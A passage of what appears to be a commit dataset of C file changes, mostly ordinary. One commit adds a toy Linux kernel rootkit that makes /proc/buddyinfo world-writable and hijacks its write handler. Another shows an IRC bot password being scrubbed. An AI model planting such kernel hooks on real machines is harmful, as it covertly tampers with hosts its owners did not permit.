+ y*y + 12*x == 0);\n\n if (!(c < k))\n break;\n\n c = c + 1;\n y = y + 1;\n x = y * y * y * y * y + x;\n }\n\n assert(-2*y*y*y*y*y*y - 6 * y*y*y*y*y - 5 * y*y*y*y + y*y + 12*x == 0);\n assert(k*y == y*y);\n return 0;\n}\n","subject":"Add regression test with deep integer expressions","message":"Add regression test with deep integer expressions\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"98c1fbe223dd5469e194a4e772b8e5b181b692ee","old_file":"src\/ui.h","new_file":"src\/ui.h","old_contents":"#pragma once\n\nvoid draw_seconds(GContext *ctx, uint8_t seconds, Layer *layer);\nvoid draw_minutes(GContext *ctx, uint8_t minutes, Layer *layer);\nvoid draw_hours(GContext *ctx, uint8_t hours, Layer *layer);\n","new_contents":"#pragma once\n\n\/* \nThis header file declares drawing methods that are defined in rect.c or round.c, \ndepending on the platform being built. Since the methods share the same function\nsignature, they can share the same header file, even though the implementations\nof the functions themselves are different.\n*\/\n\nvoid draw_seconds(GContext *ctx, uint8_t seconds, Layer *layer);\nvoid draw_minutes(GContext *ctx, uint8_t minutes, Layer *layer);\nvoid draw_hours(GContext *ctx, uint8_t hours, Layer *layer);\n","subject":"Add comment to header file about change","message":"Add comment to header file about change\n","lang":"C","license":"mit","repos":"NiVZ78\/concentricity,pebble-examples\/concentricity,NiVZ78\/concentricity,pebble-examples\/concentricity,pebble-examples\/concentricity"} {"commit":"93ae893e22571cc61f7d334cf36bb5642460a39c","old_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","new_file":"extensions\/ringopengl\/opengl11\/ring_opengl11.c","old_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed \n*\/\n\n\n#include \n#include \n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_FUNC(ring_get_gl_false)\n{\n\tRING_API_RETNUMBER(GL_FALSE);\n}\n\nRING_FUNC(ring_get_gl_logic_op)\n{\n\tRING_API_RETNUMBER(GL_LOGIC_OP);\n}\n\nRING_FUNC(ring_get_gl_none)\n{\n\tRING_API_RETNUMBER(GL_NONE);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n\tring_vm_funcregister(\"get_gl_false\",ring_get_gl_false);\n\tring_vm_funcregister(\"get_gl_logic_op\",ring_get_gl_logic_op);\n\tring_vm_funcregister(\"get_gl_none\",ring_get_gl_none);\n}\n","new_contents":"#include \"ring.h\"\n\n\n\/*\n\tOpenGL 1.1 Extension\n\tCopyright (c) 2017 Mahmoud Fayed \n*\/\n\n\n#include \n#include \n\nRING_FUNC(ring_get_gl_zero)\n{\n\tRING_API_RETNUMBER(GL_ZERO);\n}\n\nRING_FUNC(ring_get_gl_false)\n{\n\tRING_API_RETNUMBER(GL_FALSE);\n}\n\nRING_FUNC(ring_get_gl_logic_op)\n{\n\tRING_API_RETNUMBER(GL_LOGIC_OP);\n}\n\nRING_FUNC(ring_get_gl_none)\n{\n\tRING_API_RETNUMBER(GL_NONE);\n}\n\nRING_FUNC(ring_get_gl_texture_components)\n{\n\tRING_API_RETNUMBER(GL_TEXTURE_COMPONENTS);\n}\n\nRING_API void ringlib_init(RingState *pRingState)\n{\n\tring_vm_funcregister(\"get_gl_zero\",ring_get_gl_zero);\n\tring_vm_funcregister(\"get_gl_false\",ring_get_gl_false);\n\tring_vm_funcregister(\"get_gl_logic_op\",ring_get_gl_logic_op);\n\tring_vm_funcregister(\"get_gl_none\",ring_get_gl_none);\n\tring_vm_funcregister(\"get_gl_texture_components\",ring_get_gl_texture_components);\n}\n","subject":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_TEXTURE_COMPONENTS","message":"Update RingOpenGL 1.1 - Add Constant (Source Code) : GL_TEXTURE_COMPONENTS\n","lang":"C","license":"mit","repos":"ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring,ring-lang\/ring"} {"commit":"bbcb290dc0e1d1e9f9442b5e97c291fe79b66058","old_file":"rootkit.c","new_file":"rootkit.c","old_contents":"","new_contents":"#include \/\/ included for all kernel modules\n#include \/\/ included for KERN_INFO\n#include \/\/ included for __init and __exit macros\n#include \n\n#define MODULE_NAME \"rootkit\"\n\nMODULE_LICENSE(\"GPL\");\nMODULE_AUTHOR(\"Julia Evans\");\nMODULE_DESCRIPTION(\"The tiniest rootkit\");\n\nstatic struct file_operations handler_fops;\nconst struct file_operations *handler_original = 0;\nstruct proc_dir_entry *handler, *root;\n\nstatic ssize_t make_pid_root (\n struct file *filp,\n const char __user *data,\n size_t sz,\n loff_t *l)\n{\n printk(\"YOU HAVE BEEN HACKED\\n\");\n return -1;\n}\n\/**\n * Infects \/proc\/buddyinfo with a device handler that sets\n*\/\nvoid install_handler(struct proc_dir_entry *root) {\n struct proc_dir_entry *ptr = root->subdir;\n while(ptr && strcmp(ptr->name, \"buddyinfo\"))\n ptr = ptr->next;\n if(ptr) {\n handler = ptr;\n ptr->mode |= S_IWUGO;\n handler_original = (struct file_operations*)ptr->proc_fops;\n \/\/ create new handler\n handler_fops = *ptr->proc_fops;\n handler_fops.write = make_pid_root;\n ptr->proc_fops = &handler_fops;\n }\n}\n\nstatic int __init module_init_proc(void) {\n static struct file_operations fileops_struct = {0};\n struct proc_dir_entry *new_proc;\n \/\/ dummy to get proc_dir_entry of \/proc\n new_proc = proc_create(\"dummy\", 0644, 0, &fileops_struct);\n root = new_proc->parent;\n\n \/\/ install the handler to wait for orders...\n install_handler(root);\n\n \/\/ it's no longer required.\n remove_proc_entry(\"dummy\", 0);\n return 0;\n}\n\n\n\nstatic int __init rootkit_init(void)\n{\n module_init_proc();\n printk(KERN_INFO \"Starting kernel module!\\n\");\n return 0; \/\/ Non-zero return means that the module couldn't be loaded.\n}\n\nstatic void __exit rootkit_cleanup(void)\n{\n handler->proc_fops = handler_original;\n printk(KERN_INFO \"Cleaning up module.\\n\");\n}\n\n\n\nmodule_init(rootkit_init);\nmodule_exit(rootkit_cleanup);\n","subject":"Add module that prints YOU HAVE BEEN HACKED when writing to \/proc\/buddyinfo","message":"Add module that prints YOU HAVE BEEN HACKED when writing to \/proc\/buddyinfo\n","lang":"C","license":"mit","repos":"jvns\/kernel-module-fun,rictator\/kernel-module-fun,abhinavthukral28\/kernel-module-fun,onestraw\/kernel-module-fun,tzhenghao\/kernel-module-fun"} {"commit":"29db01601e61470f99eff92e5191bfefa64f2a7d","old_file":"src\/irc.h","new_file":"src\/irc.h","old_contents":"#ifndef _IRC_H\n#define _IRC_H\n\n#define NICK \"slackboat\"\n#define SERVER \"irc.what.cd\"\n#define PASSWORD \"thisistheonlygoodbot\"\n\nvoid irc_notice_event(char *, char *, char *);\nvoid irc_welcome_event(void);\nvoid irc_privmsg_event(char *, char *, char *);\nvoid irc_privmsg(const char *, const char *);\nvoid irc_join_channel(const char *);\n\n#endif\n","new_contents":"#ifndef _IRC_H\n#define _IRC_H\n\n#define NICK \"slackboat\"\n#define SERVER \"irc.what.cd\"\n#define PASSWORD \"PASSWORD\"\n\nvoid irc_notice_event(char *, char *, char *);\nvoid irc_welcome_event(void);\nvoid irc_privmsg_event(char *, char *, char *);\nvoid irc_privmsg(const char *, const char *);\nvoid irc_join_channel(const char *);\n\n#endif\n","subject":"Structure the program for minimum coupling","message":"Structure the program for minimum coupling\n","lang":"C","license":"isc","repos":"Zlacki\/slackboat,Zlacki\/slackboat,Zlacki\/slackboat,Zlacki\/slackboat"} {"commit":"35bc38ac4592800a2c3d13b001a0b66679c8f0b7","old_file":"include\/api\/ofp_epoll.h","new_file":"include\/api\/ofp_epoll.h","old_contents":"\/* Copyright (c) 2016, Nokia\n * Copyright (c) 2016, ENEA Software AB\n * All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef __OFP_EPOLL_H__\n#define __OFP_EPOLL_H__\n\n#include \n\ntypedef union ofp_epoll_data {\n\tvoid *ptr;\n\tint fd;\n\tuint32_t u32;\n\tuint64_t u64;\n} ofp_epoll_data_t;\n\nstruct ofp_epoll_event {\n\tuint32_t events;\n\tofp_epoll_data_t data;\n};\n\nenum OFP_EPOLL_EVENTS {\n\tOFP_EPOLLIN = 0x001,\n#define OFP_EPOLLIN OFP_EPOLLIN\n};\n\n#define OFP_EPOLL_CTL_ADD 1\n#define OFP_EPOLL_CTL_DEL 2\n#define OFP_EPOLL_CTL_MOD 3\n\nint ofp_epoll_create(int size);\n\nint ofp_epoll_ctl(int epfd, int op, int fd, struct ofp_epoll_event *event);\n\nint ofp_epoll_wait(int epfd, struct ofp_epoll_event *events, int maxevents, int timeout);\n\n#endif\n","new_contents":"\/* Copyright (c) 2016, Nokia\n * Copyright (c) 2016, ENEA Software AB\n * All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef __OFP_EPOLL_H__\n#define __OFP_EPOLL_H__\n\n#include \n\n#if __GNUC__ >= 4\n#pragma GCC visibility push(default)\n#endif\n\ntypedef union ofp_epoll_data {\n\tvoid *ptr;\n\tint fd;\n\tuint32_t u32;\n\tuint64_t u64;\n} ofp_epoll_data_t;\n\nstruct ofp_epoll_event {\n\tuint32_t events;\n\tofp_epoll_data_t data;\n};\n\nenum OFP_EPOLL_EVENTS {\n\tOFP_EPOLLIN = 0x001,\n#define OFP_EPOLLIN OFP_EPOLLIN\n};\n\n#define OFP_EPOLL_CTL_ADD 1\n#define OFP_EPOLL_CTL_DEL 2\n#define OFP_EPOLL_CTL_MOD 3\n\nint ofp_epoll_create(int size);\n\nint ofp_epoll_ctl(int epfd, int op, int fd, struct ofp_epoll_event *event);\n\nint ofp_epoll_wait(int epfd, struct ofp_epoll_event *events, int maxevents, int timeout);\n\n#if __GNUC__ >= 4\n#pragma GCC visibility pop\n#endif\n\n#endif\n","subject":"Add visibility to epoll headers","message":"Add visibility to epoll headers\n\nThe odp_epoll_* symbols were not visible in the final library built with\nGCC.\n\nSigned-off-by: Oriol Arcas \nReviewed-by: Sorin Vultureanu <8013ba55f8675034bc2ab0d6c3a1c9650437ca36@enea.com>\n","lang":"C","license":"bsd-3-clause","repos":"TolikH\/ofp,TolikH\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp,OpenFastPath\/ofp,TolikH\/ofp,OpenFastPath\/ofp"} {"commit":"70e2648e02232c1a439a7418388f18fee9afb3fe","old_file":"json-glib\/tests\/json-test-utils.h","new_file":"json-glib\/tests\/json-test-utils.h","old_contents":"","new_contents":"#include \n#include \n#include \n#include \n#include \n\n#define json_fuzzy_equals(n1,n2,epsilon) \\\n (((n1) > (n2) ? ((n1) - (n2)) : ((n2) - (n1))) < (epsilon))\n\n#define json_assert_fuzzy_equals(n1,n2,epsilon) \\\n G_STMT_START { \\\n double __n1 = (n1), __n2 = (n2), __epsilon = (epsilon); \\\n if (json_fuzzy_equals (__n1, __n2, __epsilon)) ; else { \\\n g_assertion_message_cmpnum (G_LOG_DOMAIN, __FILE__, __LINE__, G_STRFUNC, \\\n #n1 \" == \" #n2 \" (+\/- \" #epsilon \")\", \\\n __n1, \"==\", __n2, 'f'); \\\n } \\\n } G_STMT_END\n\n#define json_assert_almost_equals(n1,n2) \\\n json_assert_fuzzy_equals (n1, n2, DBL_EPSILON)\n","subject":"Add float comparison utility macros for tests","message":"Add float comparison utility macros for tests\n\nWe do compare floating point values elsewhere in our code, so we should\nensure that we're doing that with a certain amount of fuzziness.\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/json-glib,frida\/json-glib,GNOME\/json-glib,frida\/json-glib"} {"commit":"6626332f97efce89d2322a203058b4ab74ffc17b","old_file":"cmd_start_daemon.c","new_file":"cmd_start_daemon.c","old_contents":"\/*\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in\n * the LICENSE file in the root directory of this source tree. An\n * additional grant of patent rights can be found in the PATENTS file\n * in the same directory.\n *\n *\/\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"util.h\"\n#include \"autocmd.h\"\n#include \"fs.h\"\n#include \"child.h\"\n#include \"net.h\"\n#include \"strutil.h\"\n#include \"constants.h\"\n\nFORWARD(start_daemon);\n\n#if !FBADB_MAIN\n#include \"stubdaemon.h\"\n\nint\nstart_daemon_main(const struct cmd_start_daemon_info* info)\n{\n struct cmd_stub_info sinfo = {\n .stub.listen = true,\n .stub.daemonize = true,\n .stub.replace = info->start_daemon.replace,\n };\n\n return stub_main(&sinfo);\n}\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2014, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in\n * the LICENSE file in the root directory of this source tree. An\n * additional grant of patent rights can be found in the PATENTS file\n * in the same directory.\n *\n *\/\n#include \n#include \n#include \n#include \n#include \n#include \n#include \"util.h\"\n#include \"autocmd.h\"\n#include \"fs.h\"\n#include \"child.h\"\n#include \"net.h\"\n#include \"strutil.h\"\n#include \"constants.h\"\n\nFORWARD(start_daemon);\n\n#if !FBADB_MAIN\n#include \"stubdaemon.h\"\n\nint\nstart_daemon_main(const struct cmd_start_daemon_info* info)\n{\n SCOPED_RESLIST(rl);\n\n struct cmd_stub_info sinfo = {\n .stub.listen = true,\n .stub.daemonize = true,\n .stub.replace = info->start_daemon.replace,\n };\n\n set_prgname(xaprintf(\"%s stub\", xbasename(orig_argv0)));\n return stub_main(&sinfo);\n}\n\n#endif\n","subject":"Set prgname to stub while in daemon","message":"Set prgname to stub while in daemon\n","lang":"C","license":"bsd-3-clause","repos":"JuudeDemos\/fb-adb,JuudeDemos\/fb-adb,biddyweb\/fb-adb,0359xiaodong\/fb-adb,0359xiaodong\/fb-adb,0359xiaodong\/fb-adb,biddyweb\/fb-adb,biddyweb\/fb-adb,tcmulcahy\/fb-adb,tcmulcahy\/fb-adb,JuudeDemos\/fb-adb,tcmulcahy\/fb-adb"} {"commit":"31ab70c9b25b7203422c12d18439cfdee95a6d8d","old_file":"ir\/be\/test\/CallingTest.c","new_file":"ir\/be\/test\/CallingTest.c","old_contents":"#include \n\nint int_func(void)\n{\n return 42;\n}\n\nfloat float_func(void)\n{\n return 13.5f;\n}\n\nint main(int argc, char *argv[])\n{\n printf(\"calltest.c\\n\");\n\n printf(\" Calling int function: %d\\n\", int_func());\n printf(\" Calling float function: %f\\n\", float_func());\n\n return 0;\n}\n","new_contents":"#include \n\nint int_func(void)\n{\n return 42;\n}\n\nfloat float_func(void)\n{\n return 13.5f;\n}\n\ndouble double_func(void)\n{\n return 13.5;\n}\n\nint main(int argc, char *argv[])\n{\n printf(\"calltest.c\\n\");\n\n printf(\" Calling int function: %d\\n\", int_func());\n printf(\" Calling float function: %f\\n\", float_func());\n printf(\" Calling double function: %f\\n\", double_func());\n\n return 0;\n}\n","subject":"Add test for double call","message":"Add test for double call\n\n[r15890]\n","lang":"C","license":"lgpl-2.1","repos":"libfirm\/libfirm,libfirm\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,davidgiven\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,8l\/libfirm,davidgiven\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,8l\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,killbug2004\/libfirm,8l\/libfirm,davidgiven\/libfirm,jonashaag\/libfirm,8l\/libfirm,MatzeB\/libfirm,8l\/libfirm,libfirm\/libfirm,libfirm\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,jonashaag\/libfirm,8l\/libfirm,jonashaag\/libfirm,MatzeB\/libfirm,davidgiven\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,killbug2004\/libfirm,MatzeB\/libfirm,8l\/libfirm"} {"commit":"0416ae00706748da9fb6a1c716b824aa33cac1a5","old_file":"hello_world.c","new_file":"hello_world.c","old_contents":"#include \n\nint main()\n{\n printf(\"hello, world\\n\");\n}","new_contents":"#include \n\nint main()\n{\n printf(\"hello, world\\n\");\n return 0;\n}\n","subject":"Fix gcc warning when -Wall (implicit return).","message":"Fix gcc warning when -Wall (implicit return).\n\nwarning: control reaches end of non-void function [-Wreturn-type]\r\n }\r\n ^","lang":"C","license":"mit","repos":"learnclang\/1-helloworld"} {"commit":"394d0cdb020eaf4342d6f0fb31ca85d802f529f9","old_file":"src\/util\/dlist\/dlist_debug.c","new_file":"src\/util\/dlist\/dlist_debug.c","old_contents":"\/**\n * @file\n * @brief Paranoia checks of doubly-linked lists\n *\n * @date 05.12.2013\n * @author Eldar Abusalimov\n *\/\n#include \n#include \n\n#include \n\n\n#if DLIST_DEBUG_VERSION\nvoid __dlist_debug_check(const struct dlist_head *head) {\n\tconst struct dlist_head *p = head->prev;\n\tconst struct dlist_head *n = head->next;\n\tuintptr_t poison = head->poison;\n\n\tassertf(((!poison || (void *) ~poison == head) &&\n\t\t\tn->prev == head &&\n\t\t\tp->next == head),\n\t\t\t\"\\n\"\n\t\t\t\"head: %p, poison: %p, ~poison: %p,\\n\"\n\t\t\t\"n: %p, n->prev: %p,\\n\"\n\t\t\t\"p: %p, p->next: %p\\n\",\n\t\t\thead, (void *)poison, (void *) ~poison,\n\t\t\tn, n->prev,\n\t\t\tp, p->next);\n}\n#endif\n","new_contents":"\/**\n * @file\n * @brief Paranoia checks of doubly-linked lists\n *\n * @date 05.12.2013\n * @author Eldar Abusalimov\n *\/\n#include \n#include \n\n#include \n\n\n#if DLIST_DEBUG_VERSION\nvoid __dlist_debug_check(const struct dlist_head *head) {\n#ifndef NDEBUG\n\tconst struct dlist_head *p = head->prev;\n\tconst struct dlist_head *n = head->next;\n\tuintptr_t poison = head->poison;\n\n\tassertf(((!poison || (void *) ~poison == head) &&\n\t\t\tn->prev == head &&\n\t\t\tp->next == head),\n\t\t\t\"\\n\"\n\t\t\t\"head: %p, poison: %p, ~poison: %p,\\n\"\n\t\t\t\"n: %p, n->prev: %p,\\n\"\n\t\t\t\"p: %p, p->next: %p\\n\",\n\t\t\thead, (void *)poison, (void *) ~poison,\n\t\t\tn, n->prev,\n\t\t\tp, p->next);\n#endif\n}\n#endif\n","subject":"Fix dlist compilation with NDEBUG flag","message":"minor: Fix dlist compilation with NDEBUG flag\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"} {"commit":"9d0a5d628d92adea01f2d5f6927b35cd0189fcc2","old_file":"randbin.c","new_file":"randbin.c","old_contents":"","new_contents":"\/\/ compile with clang:\r\n\/\/ clang -march=skylake randbin.c\r\n\/\/ or whatever architecture you have. It only works on certain architectures.\r\n\r\n#include \r\n#include \r\n\r\nint main(int argc, char **argv) {\r\n int filesize = 0;\r\n char byte_multiplier = 0;\r\n if (argc <= 1) {\r\n filesize = 512 * 1024;\r\n } else {\r\n sscanf(argv[1], \"%u%c\", &filesize, &byte_multiplier);\r\n }\r\n\r\n switch (byte_multiplier) {\r\n case 'k':\r\n case 'K':\r\n filesize *= 1024;\r\n break;\r\n\r\n case 'm':\r\n case 'M':\r\n filesize *= 1024 * 1024;\r\n break;\r\n }\r\n\r\n FILE *fout = fopen(\"out.bin\", \"wb\");\r\n\r\n if (filesize <= 4) {\r\n unsigned int a = 0;\r\n __builtin_ia32_rdrand32_step(&a);\r\n fwrite(&a, 1, filesize, fout);\r\n } else {\r\n int bytes = (int)floor((double)filesize \/ 4) + (filesize % 4);\r\n for (int i = 0; i < bytes; i++) {\r\n unsigned int a = 0;\r\n __builtin_ia32_rdrand32_step(&a);\r\n fwrite(&a, sizeof a, 1, fout);\r\n }\r\n }\r\n\r\n fclose(fout);\r\n return 0;\r\n}\r\n","subject":"Add little program that generates random binaries","message":"Add little program that generates random binaries\n\nI uses the assembly instruction ```rdrand``` via the clang compiler's builtin.","lang":"C","license":"mit","repos":"Phyllostachys\/junkcode,Phyllostachys\/junkcode,Phyllostachys\/junkcode,Phyllostachys\/junkcode,Phyllostachys\/junkcode"} {"commit":"326619bbabd0c1eec2532407d301474e92fab2aa","old_file":"dp\/longest_increasing_subsequence\/c\/lis.c","new_file":"dp\/longest_increasing_subsequence\/c\/lis.c","old_contents":"","new_contents":"#include \n\nconst int N = 1e5;\n\nint lis(int a[], int n) {\n\tint i, j;\n\tint dp[N];\n\n\tfor(i = 0; i < n; ++i)\n\t\tdp[i] = 1;\n\n\tfor(i = 0; i < n; ++i)\n\t\tfor(j = 0; j < i; ++j)\n\t\t\tif(a[j] < a[i])\n\t\t\t\tif(dp[i] < dp[j] + 1)\n\t\t\t\t\tdp[i] = dp[j] + 1;\n\n\tint mx = 0;\n\tfor(i = 0; i < n; ++i)\n\t\tif(mx < dp[i])\n\t\t\tmx = dp[i];\n\n\treturn mx;\n}\n\nint main() {\n\tint n;\n\tscanf(\"%d\", &n);\n\n\tint a[N];\n\tint i;\n\tfor(i = 0; i < n; ++i)\n\t\tscanf(\"%d\", &a[i]);\n\n\tprintf(\"%d\\n\", lis(a, n));\n}","subject":"Add longest increasing subsequence in C language.","message":"Add longest increasing subsequence in C language.\n","lang":"C","license":"cc0-1.0","repos":"ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms,ZoranPandovski\/al-go-rithms"} {"commit":"21882ab7a21eb17f0d23d2d2459fdb3c6e787322","old_file":"libpkg\/pkg_util.h","new_file":"libpkg\/pkg_util.h","old_contents":"#ifndef _PKG_UTIL_H\n#define _PKG_UTIL_H\n\n#include \n#include \n#include \n\n#define ARRAY_INIT {0, 0, NULL}\n\nstruct array {\n\tsize_t cap;\n\tsize_t len;\n\tvoid **data;\n};\n\n#define STARTS_WITH(string, needle) (strncasecmp(string, needle, strlen(needle)) == 0)\n\n#define ERROR_SQLITE(db) \\\n\tEMIT_PKG_ERROR(\"sqlite: %s\", sqlite3_errmsg(db))\n\nint sbuf_set(struct sbuf **, const char *);\nconst char * sbuf_get(struct sbuf *);\nvoid sbuf_reset(struct sbuf *);\nvoid sbuf_free(struct sbuf *);\n\nint mkdirs(const char *path);\nint file_to_buffer(const char *, char **, off_t *);\nint format_exec_cmd(char **, const char *, const char *, const char *);\nint split_chr(char *, char);\nint file_fetch(const char *, const char *);\nint is_dir(const char *);\nint is_conf_file(const char *path, char newpath[MAXPATHLEN]);\n\nint sha256_file(const char *, char[65]);\nvoid sha256_str(const char *, char[65]);\n#endif\n","new_contents":"#ifndef _PKG_UTIL_H\n#define _PKG_UTIL_H\n\n#include \n#include \n#include \n\n#define STARTS_WITH(string, needle) (strncasecmp(string, needle, strlen(needle)) == 0)\n\n#define ERROR_SQLITE(db) \\\n\tEMIT_PKG_ERROR(\"sqlite: %s\", sqlite3_errmsg(db))\n\nint sbuf_set(struct sbuf **, const char *);\nconst char * sbuf_get(struct sbuf *);\nvoid sbuf_reset(struct sbuf *);\nvoid sbuf_free(struct sbuf *);\n\nint mkdirs(const char *path);\nint file_to_buffer(const char *, char **, off_t *);\nint format_exec_cmd(char **, const char *, const char *, const char *);\nint split_chr(char *, char);\nint file_fetch(const char *, const char *);\nint is_dir(const char *);\nint is_conf_file(const char *path, char newpath[MAXPATHLEN]);\n\nint sha256_file(const char *, char[65]);\nvoid sha256_str(const char *, char[65]);\n#endif\n","subject":"Remove last occurences of the dead struct array","message":"Remove last occurences of the dead struct array\n","lang":"C","license":"bsd-2-clause","repos":"en90\/pkg,khorben\/pkg,en90\/pkg,khorben\/pkg,Open343\/pkg,skoef\/pkg,Open343\/pkg,skoef\/pkg,junovitch\/pkg,junovitch\/pkg,khorben\/pkg"} {"commit":"246372f35d6e7025e7ff16ce8d7543e961800a0e","old_file":"include\/llvm\/ExecutionEngine\/GenericValue.h","new_file":"include\/llvm\/ExecutionEngine\/GenericValue.h","old_contents":"\/\/===-- GenericValue.h - Represent any type of LLVM value -------*- C++ -*-===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ \n\/\/ The GenericValue class is used to represent an LLVM value of arbitrary type.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef GENERIC_VALUE_H\n#define GENERIC_VALUE_H\n\n#include \"Support\/DataTypes.h\"\n\nnamespace llvm {\n\ntypedef uint64_t PointerTy;\n\nunion GenericValue {\n bool BoolVal;\n unsigned char UByteVal;\n signed char SByteVal;\n unsigned short UShortVal;\n signed short ShortVal;\n unsigned int UIntVal;\n signed int IntVal;\n uint64_t ULongVal;\n int64_t LongVal;\n double DoubleVal;\n float FloatVal;\n PointerTy PointerVal;\n unsigned char Untyped[8];\n\n GenericValue() {}\n GenericValue(void *V) {\n PointerVal = (PointerTy)(intptr_t)V;\n }\n};\n\ninline GenericValue PTOGV(void *P) { return GenericValue(P); }\ninline void* GVTOP(const GenericValue &GV) {\n return (void*)(intptr_t)GV.PointerVal;\n}\n\n} \/\/ End llvm namespace\n#endif\n","new_contents":"\/\/===-- GenericValue.h - Represent any type of LLVM value -------*- C++ -*-===\/\/\n\/\/ \n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by the LLVM research group and is distributed under\n\/\/ the University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/ \n\/\/===----------------------------------------------------------------------===\/\/\n\/\/ \n\/\/ The GenericValue class is used to represent an LLVM value of arbitrary type.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#ifndef GENERIC_VALUE_H\n#define GENERIC_VALUE_H\n\n#include \"Support\/DataTypes.h\"\n\nnamespace llvm {\n\ntypedef uintptr_t PointerTy;\n\nunion GenericValue {\n bool BoolVal;\n unsigned char UByteVal;\n signed char SByteVal;\n unsigned short UShortVal;\n signed short ShortVal;\n unsigned int UIntVal;\n signed int IntVal;\n uint64_t ULongVal;\n int64_t LongVal;\n double DoubleVal;\n float FloatVal;\n PointerTy PointerVal;\n unsigned char Untyped[8];\n\n GenericValue() {}\n GenericValue(void *V) {\n PointerVal = (PointerTy)(intptr_t)V;\n }\n};\n\ninline GenericValue PTOGV(void *P) { return GenericValue(P); }\ninline void* GVTOP(const GenericValue &GV) {\n return (void*)(intptr_t)GV.PointerVal;\n}\n\n} \/\/ End llvm namespace\n#endif\n","subject":"Use uintptr_t for pointer values in the ExecutionEngine.","message":"Use uintptr_t for pointer values in the ExecutionEngine.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@10425 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"} {"commit":"b841954d3e11a0d626016ca709f4b4fd3ad75e8e","old_file":"Classes\/Categories\/NSDate+GTTimeAdditions.h","new_file":"Classes\/Categories\/NSDate+GTTimeAdditions.h","old_contents":"\/\/\n\/\/ NSDate+GTTimeAdditions.h\n\/\/ ObjectiveGitFramework\n\/\/\n\/\/ Created by Danny Greg on 27\/03\/2013.\n\/\/ Copyright (c) 2013 GitHub, Inc. All rights reserved.\n\/\/\n\n#import \n\n#import \"git2.h\"\n\n@interface NSDate (GTTimeAdditions)\n\n\/\/ Creates a new `NSDate` from the provided `git_time`.\n\/\/\n\/\/ time - The `git_time` to base the returned date on.\n\/\/ timeZone - The timezone used by the time passed in.\n\/\/\n\/\/ Returns an `NSDate` object representing the passed in `time`. \n+ (NSDate *)gt_dateFromGitTime:(git_time)time timeZone:(NSTimeZone **)timeZone;\n\n\/\/ Converts the date to a `git_time`.\n\/\/\n\/\/ timeZone - An `NSTimeZone` to describe the time offset. This is optional, if\n\/\/ `nil` the default time zone will be used.\n- (git_time)gt_gitTimeUsingTimeZone:(NSTimeZone *)timeZone;\n\n@end\n\n@interface NSTimeZone (GTTimeAdditions)\n\n\/\/ The 